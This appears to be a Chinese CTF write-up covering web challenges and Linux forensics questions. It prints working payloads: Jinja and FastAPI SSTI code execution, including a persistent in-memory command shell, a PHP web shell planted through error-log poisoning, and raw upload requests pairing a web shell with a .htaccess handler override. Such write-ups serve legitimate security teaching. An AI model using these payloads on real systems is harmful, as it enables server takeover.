WEB 锦家有什么
元素中看到:
本来准备用arjun爆破来着,但是试了个name就是了:
锦家?jinja!无过滤SSTI
手动构造payload或者用fenjing梭哈都可:
给出一个payload:
1 {{lipsum.__globals__.__builtins__["eval"]("__import__('os').popen('cat /flag').read()")}}
ez_include 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php stream_wrapper_unregister ('php' );if (!isset ($_GET ['no_hl' ])) highlight_file (__FILE__ );$mkdir = function ($dir ) { system ('mkdir -- ' .escapeshellarg ($dir )); }; $randFolder = bin2hex (random_bytes (16 ));$mkdir ('users/' .$randFolder );chdir ('users/' .$randFolder );$userFolder = (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) ? $_SERVER ['HTTP_X_FORWARDED_FOR' ] : $_SERVER ['REMOTE_ADDR' ]);$userFolder = basename (str_replace (['.' ,'-' ],['' ,'' ],$userFolder ));$mkdir ($userFolder );chdir ($userFolder );file_put_contents ('profile' ,print_r ($_SERVER ,true ));chdir ('..' );$_GET ['page' ]=str_replace ('.' ,'' ,$_GET ['page' ]);if (!stripos (file_get_contents ($_GET ['page' ]),'<?' ) && !stripos (file_get_contents ($_GET ['page' ]),'php' )) { include ($_GET ['page' ]); } chdir (__DIR__ );system ('rm -rf users/' .$randFolder );?>
对比revenge,很明显能知道非预期解是什么,直接传page=/flag:
ez_include_revenge 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php stream_wrapper_unregister ('php' );if (!isset ($_GET ['no_hl' ])) highlight_file (__FILE__ );$mkdir = function ($dir ) { system ('mkdir -- ' .escapeshellarg ($dir )); }; $randFolder = bin2hex (random_bytes (16 ));$mkdir ('users/' .$randFolder );chdir ('users/' .$randFolder );$userFolder = (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) ? $_SERVER ['HTTP_X_FORWARDED_FOR' ] : $_SERVER ['REMOTE_ADDR' ]);$userFolder = basename (str_replace (['.' ,'-' ],['' ,'' ],$userFolder ));$mkdir ($userFolder );chdir ($userFolder );file_put_contents ('profile' ,print_r ($_SERVER ,true ));chdir ('..' );$_GET ['page' ]=str_replace ('.' ,'' ,$_GET ['page' ]);if (!stripos (file_get_contents ($_GET ['page' ]),'<?' ) && !stripos (file_get_contents ($_GET ['page' ]),'php' )) { if (preg_match ('/f.*l.*a.*g/i' , $_GET ['page' ])) { echo "这次不会让你得逞了!" ; }else { include ($_GET ['page' ]); } }else { echo "再想想?" ; } chdir (__DIR__ );system ('rm -rf users/' .$randFolder );?>
修复了非预期解。
由于stream_wrapper_unregister('php');,php://用不了;
由于!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php'),data://写不了马;
由于preg_match('/f.*l.*a.*g/i', $_GET['page']),file://没法读flag;
没有文件上传的功能点,phar://,zip://等也用不了。
我们可以关注其他地方,例如profile:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 Array ( [HOSTNAME] => 6367ee1000b9 [PHP_INI_DIR] => /usr/local/etc/php [SHLVL] => 1 [HOME] => /home/www-data [PHP_LDFLAGS] => -Wl,-O1 -pie [PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 [PHP_VERSION] => 7.3.33 [GPG_KEYS] => CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D [PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 [PHP_ASC_URL] => https://www.php.net/distributions/php-7.3.33.tar.xz.asc [PHP_URL] => https://www.php.net/distributions/php-7.3.33.tar.xz [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin [GZCTF_FLAG] => no_FLAG [PHPIZE_DEPS] => autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c [PWD] => /var/www/html [PHP_SHA256] => 166eaccde933381da9516a2b70ad0f447d7cec4b603d07b9a916032b215b90cc [USER] => www-data [HTTP_ACCEPT_LANGUAGE] => zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 [HTTP_ACCEPT_ENCODING] => gzip, deflate, br, zstd [HTTP_REFERER] => http://127.0.0.1:8080/ [HTTP_SEC_FETCH_DEST] => image [HTTP_SEC_FETCH_MODE] => no-cors [HTTP_SEC_FETCH_SITE] => same-origin [HTTP_ACCEPT] => image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 [HTTP_SEC_CH_UA_MOBILE] => ?0 [HTTP_SEC_CH_UA] => "Microsoft Edge";v="141", "Not?A_Brand";v="8", "Chromium";v="141" [HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0 [HTTP_SEC_CH_UA_PLATFORM] => "Windows" [HTTP_CONNECTION] => keep-alive [HTTP_HOST] => 127.0.0.1:8080 [SCRIPT_FILENAME] => /var/www/html/index.php [REDIRECT_STATUS] => 200 [SERVER_NAME] => localhost [SERVER_PORT] => 80 [SERVER_ADDR] => 172.19.0.2 [REMOTE_PORT] => 45600 [REMOTE_ADDR] => 172.19.0.1 [SERVER_SOFTWARE] => nginx/1.20.2 [GATEWAY_INTERFACE] => CGI/1.1 [REQUEST_SCHEME] => http [SERVER_PROTOCOL] => HTTP/1.1 [DOCUMENT_ROOT] => /var/www/html [DOCUMENT_URI] => /index.php [REQUEST_URI] => /favicon.ico [SCRIPT_NAME] => /index.php [CONTENT_LENGTH] => [CONTENT_TYPE] => [REQUEST_METHOD] => GET [QUERY_STRING] => [FCGI_ROLE] => RESPONDER [PHP_SELF] => /index.php [REQUEST_TIME_FLOAT] => 1761934458.0832 [REQUEST_TIME] => 1761934458 [argv] => Array ( ) [argc] => 0 )
可以注意到HTTP_USER_AGENT部分就是请求头的User-Agent,那么将User-Agent写入php代码,再用include包含profile文件,那么不就可以任意执行php代码了。
那么下一步遇到的问题就是$randFolder = bin2hex(random_bytes(16));,导致文件夹名不可控,生成的profile路径正常为:
1 __DIR__/users/xxxxxxxxxx/127001/profile
这样的,在每次结束请求后会删掉。
此处考察data伪协议对file_get_contents和include的解析差异,可以直接看个对比:
对于data:,10086这样的,file_get_contents会把它当作伪协议,结果就是10086,而include则会将它当成文件名。
因此传入data:,/profile,file_get_contents结果是/profile通过waf,include则会在data:,目录下找profile文件,对应的我们操作xff即可:
然而由于疏忽,本题仍存在非预期情况,远程环境中没有预先存在users目录。
事实上mkdir默认不会递归创建目录,这就导致如果一开始没有手动创建users目录,那么之后也就永远不会有了。
进一步导致的结果就是,题目中的四个chdir,第一个恒失败,第二个可以通过将XFF置空让其也执行失败,这样子在写入profile时,也就实在默认的__DIR__目录下写入的我们可以直接访问,又恰好在file_get_contents检查waf前,将工作目录设置在了__DIR__/../,导致file_get_contents获取不到文件,结果为空绕过waf,而include在工作目录中获取不到就去脚本目录(即__DIR__)去找,成功包含。
normal_php 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php highlight_file (__FILE__ );error_reporting (0 );include 'next.php' ;if (isset ($_GET ['a' ]) && isset ($_POST ['c' ])){ $a =$_GET ['a' ]; $c =$_POST ['c' ]; parse_str ($a ,$b ); if ($b ['cdusec' ]!==$c && md5 ($b ['cdusec' ])==md5 ($c )){ $num1 =$b ['num' ][0 ]; $num2 =$b ['num' ][1 ]; if (in_array (10520 ,$b ['num' ])){ echo "记住这个数" ; echo "<br>" ; }else { die ("这都记不住?" ); } if ($num2 ==114514 ){ die ("我不想要这个数字!" ); } if (preg_match ("/[a-z]/i" , $num2 )){ die ("还想十六进制绕过?" ); } if (strpos ($num2 , "0" )){ die ("还想八进制绕过?" ); } if (intval ($num2 ,0 )==114514 ){ echo "好了你可以去下一关了" .$next ; }else { echo "我现在又想要了,嘻嘻" ; } }else { echo "不er,md5你不会" ; } }else { echo "你看看传什么呢" ; }
常见题目了,GET传a=cdusec=s878926199a,POST传c=s155964671a过第一层
最终传GET传a=cdusec=s878926199a%26num[]=10520%26num[]=114514.1,POST传c=s155964671a
第二关源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );if (isset ($_GET ['filename' ])){ $file =$_GET ['filename' ]; if (!preg_match ("/flag|php|filter|base64|text|read|resource|\=|\'|\"|\,/" ,$file )){ include ($file ); } }else { highlight_file (__FILE__ ); }
可以日志包含,不过包含/var/log/apache2/access.log失败了,转而包含/var/log/apache2/error.log:
经过测试发现访问以php为后缀的不存在文件会触发404并写入error.log,所以访问一下:
1 /<?php system($_REQUEST['cmd']);?>.php
需要url编码一下:
1 /%3C%3Fphp%20system%28%24%5FREQUEST%5B%27cmd%27%5D%29%3B%3F%3E.php
getshell:
眼见不一定为实 给出server.py文件和nginx.conf文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import osfrom flask import Flask, render_templateapp = Flask(__name__, template_folder="templates" ) @app.route("/" ) def index (): return render_template("index.html" ) @app.route("/secret" ) def secret (): return os.getenv("FLAG" , "NSSCTF{default}" ) if __name__ == "__main__" : app.run("0.0.0.0" , 8080 , debug=False )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 server { listen 80 ; server_name localhost; location ~* ^/secret/?$ { deny all; return 403 ; } location ~* ^/secret/ { deny all; return 403 ; } location / { proxy_pass http://127.0.0.1:8080; proxy_set_header Host $host ; proxy_set_header X-Real-IP $remote_addr ; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ; proxy_set_header X-Forwarded-Proto $scheme ; } }
这个是nginx和flask对路径的解析差异导致的漏洞,可参考xz.aliyun.com/news/14403
ez_file 目录扫描,存在源码泄露:
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 <?php session_start (); error_reporting (0 ); $secret = rtrim (file_get_contents ("/secret" ), "\r\n" ); if (isset ($_GET ['secret' ])){ if ($_GET ['secret' ] !== $secret ) { header ("Location: login.html" ); exit ; } } else if (!isset ($_SESSION ['role' ]) || $_SESSION ['role' ] !== 'admin' ) { header ("Location: login.html" ); exit ; } ?> <!DOCTYPE html> <html> <head> <title>Image Store</title> <link rel="stylesheet" href="static/style.css" > </head> <body> <div class ="container "> <div class ="title ">Image Store </div > <form action = "/" method = "POST " enctype = "multipart /form -data "> <input type = "file " name = "file " /> <input type = "submit " value ="Upload "/> </form > <?php if ($_SERVER ["REQUEST_METHOD "] == "POST ") { $fileType = strtolower (pathinfo ($_FILES ['file' ]['name' ], PATHINFO_EXTENSION)); $data = file_get_contents ($_FILES ['file' ]["tmp_name" ]); $type = mime_content_type ($_FILES ['file' ]["tmp_name" ]); if ($_FILES ["file" ]["size" ] > 1000 ) { echo "file too large" ; return ; } if (!in_array ($fileType , ["jpg" ,"png" ,"gif" ,"jpeg" ])){ echo "file type not allow" ; return ; } if (move_uploaded_file ($_FILES ['file' ]["tmp_name" ], "./uploads/" . md5 ($_FILES ["file" ]["name" ]).".jpg" )) { echo "upload success" ; echo "<br>" ; echo "upload to ./uploads/" .md5 ($_FILES ["file" ]["name" ]).".jpg" ; } else { echo "upload failed" ; } } ?> <?php $black_list =["php" , "phtml" , "php3" , "php4" , "php5" , "pht" ]; if (isset ($_GET ['old_name' ]) && isset ($_GET ['new_name' ])){ $name = strtolower (pathinfo ($_GET ['new_name' ], PATHINFO_EXTENSION)); if (in_array ($name ,$black_list )){ echo "我不想看到php文件" ; return ; } $data = file_get_contents ($_GET ['old_name' ]); if (empty ($data )){ echo "怎么没有东西,这我改什么" ; return ; } $file = tmpfile (); fwrite ($file , $data ); fflush ($file ); fclose ($file ); file_put_contents ("./uploads/" .$_GET ['new_name' ],$data ); echo "文件重命名成功" ; } ?> <div class ="files "> <?php $files = scandir ("./uploads /"); foreach ($files as $file ) { if ($file != "." && $file != ".." ) { if (is_file ('./uploads/' . $file )) { ?> <a href="./uploads/<?=$file ?>" ><?= $file ?> </a> <?php }}} ?> </div> </div> </body> </html>
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php session_start ();error_reporting (0 );$params = [];$role = "guest" ;$admin_role = "admin" ;if (stripos ($_SERVER ["CONTENT_TYPE" ] , "application/json" ) !== false ) { $raw = file_get_contents ("php://input" ); $data = json_decode ($raw , true ); if (json_last_error () === JSON_ERROR_NONE) { $params = $data ; foreach ($params as $key => $value ) { $$key = $value ; } } else { echo json_encode (["error" => "Invalid JSON" ]); exit ; } } elseif ($_SERVER ["REQUEST_METHOD" ] === "POST" ) { $username = $_POST ['username' ] ; $password = $_POST ['password' ] ; } else { echo json_encode (["error" => "Unsupported request method" ]); exit ; } $client_ip = $_SERVER ['REMOTE_ADDR' ] ;if ($username === "admin" && $password === "456789" && $client_ip === "127.0.0.1" ) { $_SESSION ['role' ] = $admin_role ; echo json_encode ([ "status" => "success" , "message" => "Login successful (local admin)" , "ip" => $client_ip ]); header ("Location: index.php" ); exit ; } if ($username === "guest" && $password === "123456" ) { $_SESSION ['role' ] = $role ; header ("Location: index.php" ); exit ; } else { http_response_code (401 ); echo json_encode (["status" => "failed" , "message" => "Invalid username or password" ]); } ?>
login.php通过json发送请求时,存在变量覆盖漏洞,虽然client_ip我们不可控,但role可被变量覆盖为admin
1 2 3 4 5 { "username" : "guest" , "password" : "123456" , "role" : "admin" }
这样登录的用户名虽然是guest,但是角色是admin,成功进入index.php
然后是文件上传部分,先是可以上传一个文件,后缀名为白名单限制,然后可以对这个文件改名,后缀名为黑名单限制,结合题目是Apache环境,先上传一个一句话木马,后缀为jpg,再上传一个.htaccess文件解析上一个图片文件即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST / HTTP/1.1 Host : node9.anna.nssctf.cn:22047Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryxq1JuQjQcuyhs4BfUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Cookie : PHPSESSID=75896df315f86069cffc1f04712bfa77Content-Length : 141------WebKitFormBoundaryxq1JuQjQcuyhs4Bf Content-Disposition: form-data; name="file" ;filename="1.jpg" <?php system ($_REQUEST ['cmd' ]);?> ------WebKitFormBoundaryxq1JuQjQcuyhs4Bf--
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1 Host : node9.anna.nssctf.cn:22047Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryxq1JuQjQcuyhs4BfUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Cookie : PHPSESSID=400e94179428f265318f106057810d56Content-Length : 141Content-Disposition: form-data; name ="file" ;filename="2.jpg" <FilesMatch "f3ccdd27d2000e3f9255a7e3e2c48800.jpg" > SetHandler application /x-httpd-php </FilesMatch>
1 2 3 4 5 6 GET /?old_name=./uploads/156005c5baf40ff51a327f1c34f2975b.jpg&new_name=.htaccess HTTP/1.1 Host : node9.anna.nssctf.cn:22047User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Cookie : PHPSESSID=400e94179428f265318f106057810d56
ez_fastapi 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from fastapi import FastAPI, Requestfrom fastapi.responses import HTMLResponse, JSONResponsefrom jinja2 import Environmentimport uvicornapp = FastAPI() Jinja2 = Environment() Jinja2 = Environment( variable_start_string='{' , variable_end_string='}' ) @app.exception_handler(404 ) async def handler_404 (request, exc ): print ('not found!' ) return JSONResponse( status_code=404 , content={"message" : "Not found" } ) @app.middleware('http' ) async def say_hello (request: Request, call_next ): response = await call_next(request) response.headers['say1' ] = 'hello!' return response @app.middleware('http' ) async def say_hi (request: Request, call_next ): response = await call_next(request) response.headers['say2' ] = 'hi!' return response @app.get("/" ) async def index (): return {"message" : "Hello World" } @app.get("/shellMe" ) async def shellMe (username="Guest" ): template = Jinja2.from_string("Welcome " + username).render() return HTMLResponse(content="<h1>Welcome!</h1><p>Request processed.</p>" ) def method_disabled (*args, **kwargs ): raise NotImplementedError("此路不通!该方法已被管理员禁用。" ) app.add_api_route = method_disabled app.add_middleware = method_disabled if __name__ == "__main__" : uvicorn.run(app, host='0.0.0.0' , port=8000 )
很明显,是fastapi框架下的ssti注入:
参考:FastAPI 内存马的研究 - caterpie的小站
可以打异常处理器,原文章给出的payload:
1 {lipsum.__globals__['__builtins__']['eval']("sys.modules['__main__'].app.add_exception_handler(404,lambda request, exc:sys.modules['__main__'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}))")}
远程直接打是不通的,本地起一个相同环境会发现报以下错误:
主要是这边使用unicorn来启动的服务:
1 2 3 # !/bin/bash exec uvicorn app:app --host 0.0.0.0 --port 8000
单独以python app.py启动时,程序入口是__main__,因此我们可以从__main__模块中找到app,现在通过exec uvicorn app:app --host 0.0.0.0 --port 8000方式启动,相当于是把app.py通过import导入进来,就需要从app模块中才能找到app实例,因此改为:
1 {lipsum.__globals__['__builtins__']['eval']("sys.modules['app'].app.add_exception_handler(404,lambda request, exc:sys.modules['app'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}))")}
同理
1 {lipsum.__globals__['__builtins__']['exec']("app=sys.modules['__main__'].app;app.middleware_stack=app.build_middleware_stack()")}
改为
1 {lipsum.__globals__['__builtins__']['exec']("app=sys.modules['app'].app;app.middleware_stack=app.build_middleware_stack()")}
打入内存马:
尝试读取flag发现需要root:
但是可以免密sudo执行chmod
MISC 取证大师-1 Q: 黑客对该用户进行了账户爆破,哪个IP在对用户进行爆破,爆破了多少次?
本来找/var/log/auth.log,发现没东西,后面发现老日志在/var/log/auth.log.1
1 grep "Failed password for admin1" /var/log/auth.log | awk '{for(i=1;i<=NF;i++) if($i ~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) print $(i)}' | sort | uniq -c | sort -nr
简单筛选即可得到答案:
1 cdusec{192.168.2.131_27}
取证大师-2 Q: 黑客进行远程连接登录进主机后,创建了一个后门用户,这个后门用户的名字是什么?
cat /etc/passwd查看当前所有用户,可以发现cxyzcb用户非常可疑,又有交互式shell,还有自己的家目录,但是ls /home却不存在
取证大师-3 Q: 黑客写了个反弹shell,回连主机的IP和端口是多少?
查看连接情况:
非常明显
1 cdusec{39.105.63.129_2333}
取证大师-4 Q: 找到反弹shell的脚本在哪,并找到他的名字。
查看计划任务:
查看/home/look/big.sh
取证大师-5 Q: 有一个文件一直在重复生成反弹shell脚本,就算删除了反弹shell也没用,找到他的文件名。
就是另一个写在计划任务的文件: